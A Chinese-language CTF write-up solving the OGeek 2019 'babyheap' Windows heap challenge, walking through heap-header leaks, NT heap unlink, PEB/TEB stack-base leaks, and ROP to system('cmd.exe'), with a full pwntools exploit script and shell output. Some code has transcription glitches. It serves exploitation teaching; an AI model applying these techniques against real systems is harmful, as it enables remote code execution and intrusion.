Ex / 2019-09-15 10:42:12 / 浏览数 2336 安全技术 CTF 顶(0) 踩(0)

一道很经典的 win pwn ,根据出题人的意思,该题是受WCTF的LazyFragmentationHeap启发而得来的。

源程序下载: https://github.com/Ex-Origin/ctf-writeups/tree/master/ogeekctf2019/pwn/babyheap。

在这里先感谢出题人m4x和WCTF的一位大佬Angelboy的指点。

babyheap

源码: https://github.com/bash-c/pwn_repo/tree/master/oGeekCTF2019_babyheap_src。

漏洞点

程序流比较简单,直接就是polish存在堆溢出。

```
void polish()
  int idx = -1;
  puts("\nA little change will make a difference.\n");
  puts("Which one will you polish?");
  scanf_wrapper("%d", idx);
  if (idx < 0 || idx >= 18)
      puts("error");
      return;
   }
  if (g_inuse[idx])
      int size = 0;
      puts("And what's the length this time?");
      scanf_wrapper("%d", size);
      puts("Then name it again : ");
      read_n(g_sword[idx], size); // heap overflow
  }
  else
   {
      puts("It seems that you don't own this sword.");
}
```

leak heap header

Windows 10 使用的是Nt

heap,对于使用中的堆块和free的堆块头部都会用_HEAP->Encoding进行异或加密,用来防止堆溢出,所以我们要先leak出free的堆块头部加密后的内容,否则我们堆溢出

```
sh.recvuntil('gift : 0x')
image_base = int(sh.recvuntil('\r\n'), 16) - 0x001090
log.info('image_base: ' + hex(image_base))

for i in range(6):
   add(0x58, '\n')

destroy(2)

# leak free heap header
free_heap_header = ''
while(len(free_heap_header) < 8):
   head_length = len(free_heap_header)
   polish(1, 0x58 + head_length, 'a' * (0x58 + head_length) + '\n')
   check(1)
   sh.recvuntil('a' * (0x58 + head_length))</pre>
```

```
free_heap_header += sh.recvuntil('\r\n', drop=True) + '\0'
free_heap_header = free_heap_header[:8]
# recover
polish(1, 0x60, 'a' * 0x58 + free_heap_header)
这里特别要注意的是,使用中的heap 头部和 free 的heap 头部并不相同,所以一定不能leak错了。
Windows heap unlink
这个以前从来没有见过,和Linux的unlink差别挺大的,原理可以用下面的代码简单描述一下:
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* ptr[0x10];
int main()
  HANDLE heap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
  setbuf(stdout, NULL);
  ptr[0] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
  ptr[1] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
  ptr[2] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
  ptr[3] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
  ptr[4] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
  ptr[5] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
  HeapFree(heap, HEAP_NO_SERIALIZE, ptr[2]);
  HeapFree(heap, HEAP_NO_SERIALIZE, ptr[4]);
  *(void**)(ptr[2]) = &ptr[2] - 1;
   *(void**)(ptr[2] + 4) = &ptr[2];
  printf("%p: %p\n", &ptr[2], ptr[2]);
  HeapFree(heap, HEAP_NO_SERIALIZE, ptr[1]);
  printf("%p: %p\n", &ptr[2], ptr[2]);
  return 0;
其作用就是让ptr[2]指针指向自己,这个和Linux有点像。
destroy(4)
polish(1, 0x58 + 8 + 8, 'b' * 0x58 + free_heap_header + p32(ptr_addr + 4) + p32(ptr_addr + 8) + '\n')
destroy(1)
然后再用后门功能使得unlink后的指针可以进行编辑。
sh.sendlineafter('choice?\r\n', '1337')
sh.sendlineafter('target?\r\n', str(g_inuse\_addr + 2))
polish(2, 4, p32(ptr_addr + 12) + '\n')
完成这些操作后,我们就能利用index_2来操作index_3指针的指向,实现任意地址读写。
泄露地址信息
这个和Linux 差不多,只不过Linux 是 got 表,而 Windows 是 iat 表。至于iat具体在哪个dll动态库里面,这个可以用IDA或者PE工具来查看。
其查询结果如下所示:
.idata:00403000 ; Imports from KERNEL32.dll
.idata:00403000 ;
.idata:00403000
.idata:00403000 ; Segment type: Externs
.idata:00403000 ; _idata
.idata:00403000 ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
                             extrn HeapCreate:dword ; CODE XREF: .text:0040111A^p
.idata:00403000
```

我们会在后面需要ntdll的地址,而ntdll并不在babyheap的导入表中,所以我们需要从KERNEL32中进行泄露。

```
# leak dll base addr
puts_iat = image_base + 0x0030C8 # ucrtbase.dll
Sleep_iat = image_base + 0x003008 # KERNEL32.dll
polish(2, 4, p32(puts_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ucrtbase_addr = u32(result) - 0xb89b0
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))
polish(2, 4, p32(Sleep_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
KERNEL32\_addr = u32(result) - 0x00021ab0
log.success('KERNEL32_addr: ' + hex(KERNEL32_addr))
NtCreateFile_iat = KERNEL32_addr + 0x000819bc
polish(2, 4, p32(NtCreateFile_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ntdll_addr = u32(result) - 0x709f0
log.success('ntdll_addr: ' + hex(ntdll_addr))
```

查询peb和teb,泄露StackBase

当我么拥有了任意读写能力,该怎么控制程序流呢?

由于 Windows 的 Nt heap 似乎并没有 hook

之类的,所以我们只能利用传统的栈溢出来控制程序流,但是我们该如何获知栈地址呢,根据Angelboy师傅的提示,TEB中会储存栈基地址。

如下所示:

```
0:000> !teb
TEB at 00ffa000
  ExceptionList:
                  010ff99c
                   01100000
  StackBase:
  StackLimit:
                   010fd000
  SubSystemTib:
                   00000000
  FiberData:
                    00001e00
  ArbitraryUserPointer: 00000000
  Self:
                    00ffa000
  EnvironmentPointer: 00000000
                    000013b0 . 00002218
  ClientId:
                   00000000
  RpcHandle:
                   00ffa02c
  Tls Storage:
                   00ff7000
  PEB Address:
                   0
  LastErrorValue:
                   0
  LastStatusValue:
  Count Owned Locks: 0
  HardErrorMode:
                     Ω
```

对于 Windows

的程序来说,每个进程都有一个PEB,每个线程都有一个TEB,而且他们的相对偏移一般是固定的。那么我们只要知道PEB的地址,就可以计算出TEB的地址,从而泄露Stac

但是PEB的地址又该怎么查询呢,在ntdl!PebLdr附近,有一个值可以泄露出PEB的地址,其调试结果如下:

```
        76f90cb0
        00000000
        00000000
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        00000000
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        00000000
        00ff721c
        76f90c00
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```

从上面可以看到ntdll!PebLdr向上偏移52字节的地方存储着PEB地址的信息,而且这个地址信息和PEB地址的偏移总是0x21c,所以我们可以利用该地址信息来计算出PE

```
ntdll_PedLdr_addr = ntdll_addr + 0x120c40
log.success('ntdll_PedLdr_addr: ' + hex(ntdll_PedLdr_addr))
polish(2, 4, p32(ntdll_PedLdr_addr - 52) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
Peb_addr = u32(result.ljust(4, '\0')) - 0x2lc
log.success('Peb_addr: ' + hex(Peb_addr))
```

又因为PEB和TEB的地址的偏移是固定的,我们可以计算出babyheap线程的TEB的地址然后泄露出该线程的栈基地址。

其偏移结果如下:

```
0:000> r $peb
$peb=00ff7000
0:000> r $teb
```

查看之前,要先把线程调成babyheap的,通过查看计算出他们的偏移是0x3000。

对应的脚本如下:

```
# leak StackBase
babyheap_Teb_addr = Peb_addr + 0x3000
log.success('babyheap_Teb_addr: ' + hex(babyheap_Teb_addr))
result = ''
while(len(result) < 4):
    result_length = len(result)
    polish(2, 4, p32(babyheap_Teb_addr + 4 + result_length) + '\n')
    check(3)
    sh.recvuntil('Show : ')
    result += sh.recvuntil('\r\n', drop=True) + '\0'
StackBase = u32(result[:4])
log.success('StackBase: ' + hex(StackBase))</pre>
```

寻找main_ret_addr

我们虽然知道了StackBase,但是由于受到ASLR影响,main函数的返回地址对于StackBase来说并不是固定偏移的,这点和Linux是一样的,那么我们该怎么查找main_由于程序的地址信息我们都已经泄露出来了,所以我们根据偏移是可以计算出main_ret_addr这个地址里储存的内容的,而且我们原本就有任意地址读的能力,那么我们可这里提一下我犯得一个错误,开始时我尝试将整个栈一次性全部读取下来,但是不仅花的时间长,而且还总是crash,最后我想了一个办法,由于main_ret_addr地址员

在寻找之前,我们要先把g_inuse全部设置为1,以加快查找速度。

```
polish(2, 4, p32(g_inuse_addr + 3) + '\n')
polish(3, 4, p8(1) * 4 + '\n')

main_ret_content = image_base + 0x193b

log.success('main_ret_content: ' + hex(main_ret_content))
# search stack

log.info('Start searching stack, it will take a long time.')
main_ret_addr = 0

for addr in range(StackBase - 0x1000, StackBase, 0x10)[::-1]:
    if(main_ret_addr == 0):
        polish(2, 0x10, p32(addr + 12) + p32(addr + 8) + p32(addr + 4) + p32(addr) + '\n')
        for i in range(3, 3 + 4):
```

```
check(i)
           sh.recvuntil('Show : ')
          result = sh.recvuntil('\r\n', drop=True)[:4]
          content = u32(result.ljust(4, '\0'))
           if(content == main_ret_content):
              main\_ret\_addr = addr - (3-(i-3)) * 4
              break
log.success('main_ret_addr: ' + hex(main_ret_addr))
由于栈比较大,所以整体读取需要的时间还是比较长的,需要耐心等待,如果超时可以重新试一遍,因为main_ret_addr本身就是不固定的,所以读取时间或长或短。
ROP拿shell
读到main_ret_addr之后就是正常的ROP了。
polish(2, 0x10, p32(main_ret_addr) + 'cmd.exe\0\n')
layout = [
  ucrtbase_addr + 0x000efd80, # system
  image_base + 0x21AF, # exit
  ptr_addr + 4 * 4,
payload = flat(layout)
polish(3, len(payload), payload + '\n')
sh.sendlineafter('choice?\r\n', 5)
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
sh = remote('192.168.3.129', 10001)
def add(size, content):
  sh.sendlineafter('choice?\r\n', '1')
  sh.sendlineafter('sword?\r\n', str(size))
  sh.sendafter('Name it!\r\n', content)
def destroy(index):
  sh.sendlineafter('choice?\r\n', '2')
  \verb|sh.sendlineafter('destroy?\r\n', str(index))|\\
def polish(index, size, content):
  sh.sendlineafter('choice?\r\n', '3')
  sh.sendlineafter('polish?\r\n', str(index))
  sh.sendlineafter('time?\r\n', str(size))
  sh.sendafter('again : \r\n', content)
def check(index):
  sh.sendlineafter('choice?\r\n', '4')
  sh.sendlineafter('check?\r\n', str(index))
sh.recvuntil('gift : 0x')
image\_base = int(sh.recvuntil('\r\n'), 16) - 0x001090
log.info('image_base: ' + hex(image_base))
ptr_addr = image_base + 0x4370
g_{inuse\_addr} = image\_base + 0x0043BC
for i in range(6):
  add(0x58, '\n')
```

```
# leak free heap header
free_heap_header = ''
while(len(free_heap_header) < 8):</pre>
   head_length = len(free_heap_header)
   polish(1, 0x58 + head\_length, 'a' * (0x58 + head\_length) + '\n')
   check(1)
   sh.recvuntil('a' * (0x58 + head_length))
   free_heap_header += sh.recvuntil('\r\n', drop=True) + '\0'
free_heap_header = free_heap_header[:8]
# recover
polish(1, 0x60, 'a' * 0x58 + free_heap_header + '\n')
#unlink
destroy(4)
polish(1, 0x58 + 8 + 8, 'b' * 0x58 + free_heap_header + p32(ptr_addr + 4) + p32(ptr_addr + 8) + '\n')
destroy(1)
\verb|sh.sendlineafter('choice?\r\n', '1337')|\\
sh.sendline after('target?\r\n', str(g_inuse\_addr + 2))
polish(2, 4, p32(ptr_addr + 12) + '\n')
# leak dll base addr
puts_iat = image_base + 0x0030C8 # ucrtbase.dll
Sleep_iat = image_base + 0x003008 # KERNEL32.dll
polish(2, 4, p32(puts_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ucrtbase_addr = u32(result) - 0xb89b0
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))
polish(2, 4, p32(Sleep_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
KERNEL32\_addr = u32(result) - 0x00021ab0
log.success('KERNEL32_addr: ' + hex(KERNEL32_addr))
NtCreateFile_iat = KERNEL32_addr + 0x000819bc
polish(2, 4, p32(NtCreateFile_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ntdll_addr = u32(result) - 0x709f0
log.success('ntdll_addr: ' + hex(ntdll_addr))
# leak PEB
ntdll_PedLdr_addr = ntdll_addr + 0x120c40
log.success('ntdll_PedLdr_addr: ' + hex(ntdll_PedLdr_addr))
polish(2, 4, p32(ntdll_PedLdr_addr - 52) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
Peb_addr = u32(result.ljust(4, '\0')) - 0x21c
log.success('Peb_addr: ' + hex(Peb_addr))
# leak StackBase
babyheap_Teb_addr = Peb_addr + 0x3000
log.success('babyheap_Teb_addr: ' + hex(babyheap_Teb_addr))
result = ''
while(len(result) < 4):</pre>
```

destroy(2)

```
result_length = len(result)
   polish(2, 4, p32(babyheap_Teb_addr + 4 + result_length) + '\n')
   check(3)
   sh.recvuntil('Show : ')
   result += sh.recvuntil('\r\n', drop=True) + '\0'
StackBase = u32(result[:4])
log.success('StackBase: ' + hex(StackBase))
# leak main ret addr
polish(2, 4, p32(g_inuse_addr + 3) + '\n')
polish(3, 4, p8(1) * 4 + '\n')
main\_ret\_content = image\_base + 0x193b
log.success('main_ret_content: ' + hex(main_ret_content))
# search stack
log.info('Start searching stack, it will take a long time.')
main ret addr = 0
for addr in range(StackBase - 0x1000, StackBase, 0x10)[::-1]:
   if(main_ret_addr == 0):
       polish(2, 0x10, p32(addr + 12) + p32(addr + 8) + p32(addr + 4) + p32(addr) + '\n')
       for i in range(3, 3 + 4):
          check(i)
          sh.recvuntil('Show : ')
          result = sh.recvuntil('\r\n', drop=True)[:4]
           content = u32(result.ljust(4, '\0'))
           if(content == main_ret_content):
               main\_ret\_addr = addr + (3-(i-3)) * 4
               break
log.success('main_ret_addr: ' + hex(main_ret_addr))
polish(2, 0x10, p32(main_ret_addr) + 'cmd.exe\0\n')
layout = [
  ucrtbase_addr + 0x000efd80, # system
   image_base + 0x21AF, # exit
   ptr_addr + 4 * 4,
   0,
payload = flat(layout)
polish(3, len(payload), payload + '\n')
sh.sendlineafter('choice?\r\n', '5')
sh.interactive()
运行实例:
ex@Ex:~/ogeek2019/pwn/babyheap$ python my_exp.py
[+] Opening connection to 192.168.3.129 on port 10001: Done
[*] image_base: 0xaa0000
[+] ucrtbase_addr: 0x76970000
[+] KERNEL32_addr: 0x76280000
[+] ntdll_addr: 0x76e70000
[+] ntdll_PedLdr_addr: 0x76f90c40
[+] Peb_addr: 0x205000
[+] babyheap_Teb_addr: 0x208000
[+] StackBase: 0x500000
[+] main_ret_content: 0xaa193b
[*] Start searching stack, it will take a long time.
[+] main_ret_addr: 0x4ff830
[*] Switching to interactive mode
Microsoft Windows [Version 10.0.17763.557]
(c) 2018 Microsoft Corporation. All rights reserved.
D:\ogeek2019\babyheap>$ dir
dir
```

Volume in drive D is data Volume Serial Number is 4669-C996

Directory of D:\ogeek2019\babyheap

2019-09-10	13:06 <	DIR>	
2019-09-10	13:06 <	DIR>	
2019-07-30	13:59	12,288	babyheap.exe
2019-09-10	13:06	196,608	babyheap.id0
2019-09-10	13:06	49,152	babyheap.id1
2019-09-10	13:06	191	babyheap.id2
2019-09-08	15:47	264,809	babyheap.idb
2019-09-10	13:06	16,384	babyheap.nam
2019-09-10	13:06	2,177	babyheap.til
2019-07-18	17:49	649,064	kernel32.dll
2019-09-08	14:45	10,298,900	kernel32.idb
2019-07-18	17:48	1,191,728	ucrtbase.dll
2019-06-20	19:00	80,880	vcruntime140.dll
2019-08-16	15:50	17,662	winver.png
2019-08-20	21:01	49,152	win_server.exe
	13 File(s	12,828,	995 bytes
	2 Dir(s)	9,985,400,	832 bytes free

D:\ogeek2019\babyheap>\$ whoami whoami win10\ex

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1. 2条回复



byzero512 2019-09-25 23:55:16

师傅做windows pwn的时候, 写脚本的时候是怎么进行debug的?

0 回复Ta



Ex 2019-09-26 20:43:01

@byzero512

在要调试的点前面提前用pause()函数暂停,再用windbg跟上去,然后下断点,再让脚本继续执行,这样脚本就会在断点处停下。我是这样调试的,方法有点笨。

0 回复Ta

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